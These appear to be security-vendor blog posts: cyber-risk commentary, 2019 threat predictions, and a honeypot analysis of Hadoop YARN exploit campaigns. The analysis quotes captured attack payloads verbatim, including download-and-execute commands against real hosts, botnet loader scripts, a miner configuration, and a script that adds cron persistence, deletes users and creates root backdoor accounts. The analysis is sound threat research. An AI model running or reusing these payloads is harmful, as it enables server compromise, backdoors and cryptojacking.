To understand just how detrimental this can be to the long-term success of an organization requires grasping the true cost of a cyberattack. Sadly, these data points are often as poorly understood, or dismissed, as the aforementioned statistics regarding vulnerability. The cost of a cyberattack can be mapped by the four risk categories:

  • Strategic Risk: Cyberattacks, on average, cost more than one million USD/EUR, according to 40% of executives. Five percent estimated this cost to be more than 25 million USD/EUR.
  • Reputation Risk: Customer attrition rates can increase by as much as 30% following a cyberattack. Moreover, organizations that lose over four percent of their customers following a data breach suffer an average total cost of $5.1 million. In addition, 41% of executives reported that customers have taken legal action against their companies following a data breach. The Yahoo and Equifax data breach lawsuits are two high-profile examples.
  • Product Risk: The IP Commission estimated that counterfeit goods, pirated software and stolen trade secrets cost the U.S. economy $600 billion annually.
  • Governance Risk: “Hidden” costs associated with a data breach include increased insurance premiums, lower credit ratings and devaluation of trade names. Equifax was devalued by $4 billion by Wall Street following the announcement of its data breach.

[You may also like: Understanding the Real Cost of a Cyber-Attack and Building a Cyber-Resilient Business]

Secure the Customer Experience, Manage Risk

It’s only by identifying the new risks that an organization faces each and every day and having a plan in place to minimize them that enables its executives to build a foundation upon which their company will succeed. In the case of the space shuttle program, mounds of data that clearly demonstrated an unacceptable flight risk were pushed aside by the need to meet operational goals. What lessons can be learned from that fateful day in January of 1986 and applied to cybersecurity? To start, the disaster highlights the five key steps of managing risks.

In the case of cybersecurity, this means that the executive leadership must weigh the opinions of its network security team, compliance team and upper management and use data to identify vulnerabilities and the requirements to successfully mitigate them. In the digital age, cybersecurity must be viewed as an ongoing strategic initiative and cannot be delegated solely to compliance. Leadership must fully weigh the potential cost of a cyberattack/data breach on the organization versus the resources required to implement the right security strategies and solutions. Lastly, when properly understood, risk can actually be turned into a competitive advantage. In the case of cybersecurity, it can be used as a competitive differentiator with consumers that demand fast network performance, responsive applications and a secure customer experience. This enables companies to target and retain customers by supplying a forward-looking security solution that seamlessly protects users today and into the future.

So how are executives expected to accomplish this while facing new security threats, tight budgets, a shortfall in cybersecurity professionals and the need to safeguard increasingly diversified infrastructures? The key is creating a secure climate for the business and its customers.

To create this climate, research shows that executives must be willing to accept new technologies, be openminded to new ideologies and embrace change, according to C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts. Executives committed to staying on top of this ever-evolving threat must break down the silos that exist in the organization to assess the dimensions of the risks across the enterprise and address these exposures holistically. Next is balancing the aforementioned investment versus risk equation. All executives will face tough choices when deciding where to invest resources to propel their companies forward. C-suite executives must leverage the aforementioned data points and carefully evaluate the risks associated with security vulnerabilities and the costs of implementing effective security solutions to avoid becoming the next high-profile data breach.

According to the same report, four in 10 respondents identified increasing infrastructure complexity, digital transformation plans, integration of artificial intelligence and migration to the cloud as events that put pressure on security planning and budget allocation.

The stakes are high. Security threats can seriously impact a company’s brand reputation, resulting in customer loss, reduced operational productivity and lawsuits. C-suite executives must heed the lessons of the space shuttle Challenger disaster: Stop evaluating and implementing cybersecurity strategies and solutions that meet minimal compliance and start managing to real-world risks by trusting data, pushing aside near-term experiences/“gut instincts” and understanding the true cost of a cyberattack. Those executives who are willing to embrace technology and change and prioritize cybersecurity will be the ones to win the trust and loyalty of the 21st-century consumer.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

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Attack Types & VectorsCloud SecurityDDoS AttacksSecurity

2019 Predictions: Will Cyber Serenity Soon Be a Thing of the Past?

November 29, 2018 — by Daniel Smith5

AdobeStock_227784320-2-960x600.jpg

In 2018 the threat landscape evolved at a breakneck pace, from predominantly DDoS and ransom attacks (in 2016 and 2017, respectively), to automated attacks. We saw sensational attacks on APIs, the ability to leverage weaponized Artificial Intelligence, and growth in side-channel and proxy-based attacks.

And by the looks of it, 2019 will be an extension of the proverbial game of whack-a-mole, with categorical alterations to the current tactics, techniques and procedures (TTPs). While nobody knows exactly what the future holds, strong indicators today enable us to forecast trends in the coming year.

The public cloud will experience a massive security attack

The worldwide public cloud services market is projected to grow 17.3 percent in 2019 to total $206.2 billion, up from $175.8 billion in 2018, according to Gartner, Inc. This means organizations are rapidly shifting content to the cloud, and with that data shift comes new vulnerabilities and threats. While cloud adoption is touted as faster, better, and easier, security is often overlooked for performance and overall cost. Organizations trust and expect their cloud providers to adequately secure information for them, but perception is not always a reality when it comes to current cloud security, and 2019 will demonstrate this.

[You may also like: Cloud vs DDoS, the Seven Layers of Complexity]

Ransom techniques will surge

Ransom, including ransomware and ransom RDoS, will give way to hijacking new embedded technologies, along with holding healthcare systems and smart cities hostage with the launch of 5G networks and devices. What does this look like? The prospects are distressing:

  • Hijacking the availability of a service—like stock trading, streaming video or music, or even 911—and demanding a ransom for the digital return of the devices or network.
  • Hijacking a device. Not only are smart home devices like thermostats and refrigerators susceptible to security lapses, but so are larger devices, like automobiles.
  • Healthcare ransom attacks pose a particularly terrifying threat. As healthcare is increasingly interwoven with cloud-based monitoring, services and IoT embedded devices responsible for administering health management (think prescriptions/urgent medications, health records, etc.) are vulnerable, putting those seeking medical care in jeopardy of having their healthcare devices that they a dependent on being targeted by malware or their devices supporting network being hijacked.

[You may also like: The Origin of Ransomware and Its Impact on Businesses]

Nation state attacks will increase

As trade and other types of “soft-based’ power conflicts increase in number and severity, nation states and other groups will seek new ways of causing widespread disruption including Internet outages at the local or regional level, service outages, supply chain attacks and application blacklisting by government in attempted power grabs. Contractors and government organizations are likely to be targeted, and other industries will stand to lose millions of dollars as indirect victims if communications systems fail and trade grinds to a halt.

More destructive DDoS attacks are on the way

Over the past several years, we’ve witnessed the development and deployment of massive IoT-based botnets, such as Mirai, Brickerbot, Reaper and Haijme, whose systems are built around thousands of compromised IoT devices.  Most of these weaponized botnets have been used in cyberattacks to knock out critical devices or services in a relatively straightforward manner.

Recently there has been a change in devices targeted by bot herders. Based on developments we are seeing in the wild, attackers are not only infiltrating resource-constrained IoT devices, they are also targeting powerful cloud-based servers. When targeted, only a handful of compromised instances are needed to create a serious threat. Since IoT malware is cross-compiled for many platforms, including x86_64, we expect to see attackers consistently altering and updating Mirai/Qbot scanners to include more cloud-based exploits going into 2019.

[You may also like: IoT Botnets on the Rise]

Cyber serenity may be a thing of the past

If the growth of the attack landscape continues to evolve into 2019 through various chaining attacks and alteration of the current TTP’s to include automated features, the best years of cybersecurity may be behind us. Let’s hope that 2019 will be the year we collectively begin to really share intelligence and aid one another in knowledge transfer; it’s critical in order to address the threat equation and come up with reasonable and achievable solutions that will abate the ominous signs before us all.

Until then, pay special attention to weaponized AI, large API attacks, proxy attacks and automated social engineering. As they target the hidden attack surface of automation, they will no doubt become very problematic moving forward.

Read the “2018 C-Suite Perspectives: Trends in the Cyberattack Landscape, Security Threats and Business Impacts” to learn more.

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Hadoop YARN: An Assessment of the Attack Surface and Its Exploits

November 15, 2018 — by Pascal Geenens2

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  • Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
  • 1065 servers are exposed and vulnerable
  • The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
  • Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
  • A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
  • In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
  • Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
  • Online businesses should care, too. They can be the target of DDoS attacks.
  • Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

[You may also like: New DemonBot Discovered]

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high-performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

 $ ./x_64 --version
XMRig 2.8.1
built on Oct 18 2018 with GCC 4.8.4
features: 64-bit AES
libuv/1.9.1

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC
Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo: https://bitbucket.org/zrundr42/mygit/src/master/
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

 User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]
{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/bins.sh -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:


$ cat bins.sh 
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mips; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mpsl; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sh4; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.x86; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm6; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i686; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i586; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.m68k; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sparc; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm4; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm5; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm7; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc440fp; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

 $ file *
YSDKOP.arm4:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm5:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm6:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.arm7:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.i586:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.i686:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.m68k:  ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
YSDKOP.mips:  ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.mpsl:  ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.ppc:   ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
YSDKOP.sh4:   ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
YSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.x86:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:


$ strings YSDKOP.i586
…
185.244.25.153:420
8.8.8.8
/proc/net/route
        00000000
(null)
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ
/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID
/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93
/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
nwonknu
unknown
Hello
slammed
…
Sending TCP Packets To: %s:%d for %d seconds
STOP
[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC
59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh
106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

 {"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget http://80.211.59.125/n; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

 $ cat n
#!/bin/sh
n="Supra.x86 Supra.x86_64"
http_server="80.211.59.125" 
dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"
 
for dir in $dirs
do
    >$dir.file && cd $dir
done 
 
for i in $n
do
    cp $SHELL $i
    >$i
    chmod 777 $i
    wget http://$http_server/$i -O $i
    chmod 777 $i
    ./$i
done

Looking at the strings of the downloaded ‘Supra.x86_64’ binary, we see a close match with those of DemonBot, as do the decorated names in the unstripped binary.

 $ strings Supra.x86_64
…
80.211.59.125:434
8.8.8.8
/proc/net/route
…
x86_64
Linux
/usr/bin/apt-get
Ubuntu/Debian
/usr/lib/portage
Gentoo
/usr/bin/yum
RHEL/CentOS
/usr/share/YaST2
OpenSUSE
/etc/dropbear/
OpenWRT
/etc/opkg
UNKNOWN
/etc/ssh/
Dropbear
/etc/xinet.d/telnet
Telnet
/usr/kerberos/bin/telnet
…
[1;37m[
[0;35mSupra
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
[0;35m-->
[1;37m[
[0;35m%s
[1;37m]
…
GCC: (GNU) 4.2.1   
…

Note the very similar string as previously discovered in the DemonBot source code, but this time with ‘Supra’ instead of ‘shelling’ in the first square brackets:

 [Supra]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s] 

The new binary also contains indicators of an extension in the platform detection code. The original DemonBot checked for two platforms

Ubuntu/Debian, based on the existence of /usr/bin/apt-get, and
RHEL/Centos, based on the existence of /usr/bin/yum

Supra adds to the above two:
Gentoo:          /usr/lib/portage
OpenSUSE:    /usr/share/YaST2
OpenWRT:     /etc/dropbear
UNKNOWN:   /etc/opkg
Dropbear:      /etc/ssh/
Telnet:           /etc/xinet.d/telnet

The compile version used for this DemonBot version is identical to the original DemonBot: GCC (GNU) 4.2.1.

Hoho, a Botnet by Greek.Helios

Hadoop YARN exploit payload:

 {"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://68.183.96.48/bins/hoho.x86 -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex servers"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"} 

The binaries first appeared on the server on Oct 30, 2018:

The hoho.x86 binary contains the literal string: Botnet Made By greek.Helios

The binary is packed with the UPX executable packer and matches mostly Mirai code.

IOC
7812fc4e894712845559193bd2b9cc88391b0a6691906124846cbaf73eb67b73 hoho.arm
622dd9dc905a14d881ce07227252f5086ba3b7afca88b913ece0bcfb4444b41b hoho.arm5
b9e0cce5412c1cb64f6e53493c8263f5e0d56e6e217ea4d94e401bf2da6d8c60 hoho.arm6
7050cb141e5eb0a8236639e0d9f2cc9bca63f2c3984b3ea8e30400984d24cfe6 hoho.arm7
4ce21713f20624ea5ba9eec606c53b7d9c38c2d72abf4043f509c81326bbdb1d hoho.m68k
485ecbe80f8f98b032af80cf32bb26d49e1071c75b25f6e306e37856f1446d38 hoho.mips
a599bf6697062d3358b848db40399feafd65931834acc9228f97dc27aa7fa4bb hoho.mpsl
456b31214698f894e8f4eb4aa01a34305c713df526fd33db74b58f440e59a863 hoho.ppc
e0a56e2ea529991933c38fc8159374c8821fdb57fe5622c2cf8b5ad7798bbc02 hoho.sh4
da53b60354c3565a9954cbaa0e1b6d7146d56890ee10cd0745b5787298db97a7 hoho.spc
9f4f93667e4892ca84a45981caafb4a39eabdc2f6c257f0dc2df04c73f1bf0a4 hoho.x86

prax0zma.ru

This campaign consists of a set of shell scripts which deletes system and other user accounts from a compromised server and creates two backdoor accounts with root privileges.

The backdoor account user names are ‘VM’ and ‘localhost’ and both have their password set to the hash ‘$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1’.

http://prax0zma.ru/8.sh
$ cat 8.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | sh" >> /var/spool/cron/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://prax0zma.ru/8.sh | /bin/sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -O- http://prax0zma.ru/8.sh | /bin/sh" >> /var/spool/cron/crontabs/root
#echo "0 * * * * pkill -9 r" >> /var/spool/cron/crontabs/root

cd /boot ; wget -q http://hehe.suckmyass.cf/.o -O .b; chmod +x .b; nohup ./.b  >/dev/null 2>&1
cd /boot ; curl -O http://hehe.suckmyass.cf/.o ; chmod +x .o; nohup ./.o  >/dev/null 2>&1
#cd /tmp ; curl -O http://sandbotc2.ml/fefe | wget -q http://sandbotc2.ml/fefe ; chmod +x fefe; ./fefe ; rm -rf fefe*; >/dev/null 2>&1
echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128
    ulimit -n 65000
    ulimit -u 65000

mkdir -p /tmp/.ha/

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    curl -fsSL http://prax0zma.ru/bash -o /tmp/.ha/nsyhs
fi

if [ ! -f "/tmp/.ha/nsyhs" ]; then
    wget -q http://prax0zma.ru/bash -O /tmp/.ha/nsyhs
fi

chmod +x /tmp/.ha/nsyhs && /tmp/.ha/nsyhs
http://hehe.suckmyass.cf/.o 
$ cat .o
cd /boot ; wget -q http://r00ts.truthdealmodz.pw/.i -O .0; chmod +x .0; nohup ./.0  >/dev/null 2>&1 ; rm -rf .0
cd /boot ; curl -O http://r00ts.truthdealmodz.pw/.i ; chmod +x .i; nohup ./.i  >/dev/null 2>&1 ; rm -rf .i
userdel -f bash >/dev/null 2>&1
userdel -f ssh >/dev/null 2>&1
userdel -f butter >/dev/null 2>&1
userdel -f r00t >/dev/null 2>&1
userdel -f axiga >/dev/null 2>&1
userdel -f cats >/dev/null 2>&1
userdel -f python >/dev/null 2>&1
userdel -f Word >/dev/null 2>&1
userdel -f fxmeless >/dev/null 2>&1
userdel -f yandex >/dev/null 2>&1
userdel -f synx >/dev/null 2>&1
userdel -f syncs >/dev/null 2>&1
userdel -f oracles >/dev/null 2>&1
userdel -f cubes >/dev/null 2>&1
userdel -f wwww >/dev/null 2>&1
userdel -f http  >/dev/null 2>&1
userdel -f R00T  >/dev/null 2>&1
userdel -f z  >/dev/null 2>&1
userdel -f r000t  >/dev/null 2>&1
userdel -f ssshd  >/dev/null 2>&1
userdel -f vps  >/dev/null 2>&1
userdel -f Duck >/dev/null 2>&1
userdel -f x >/dev/null 2>&1
userdel -f redisserver >/dev/null 2>&1
userdel -f admins >/dev/null 2>&1
userdel -f halts >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1
useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' localhost >/dev/null 2>&1
#rm -rf /tmp/.*
rm -rf /var/tmp/.z
rm -rf /tmp/.FILE
rm -rf /tmp/.xm
rm -rf /tmp/.iokb21
rm -rf /tmp/.bzc bzc.tgz*
rm -rf /var/tmp/.xm.log
pkill -9 56545
pkill -9 Word
pkill -9 "  "
pkill -9 xds
pkill -9 httpd.conf
pkill -9 yam
pkill -9 xd
pkill -9 .syslog
pkill -9 wipefs
pkill -9 " "
pkill -9 auditd
pkill -9 crondb
pkill -9 syn
pkill -9 xnetd
pkill -9 ld-linux-x86-64
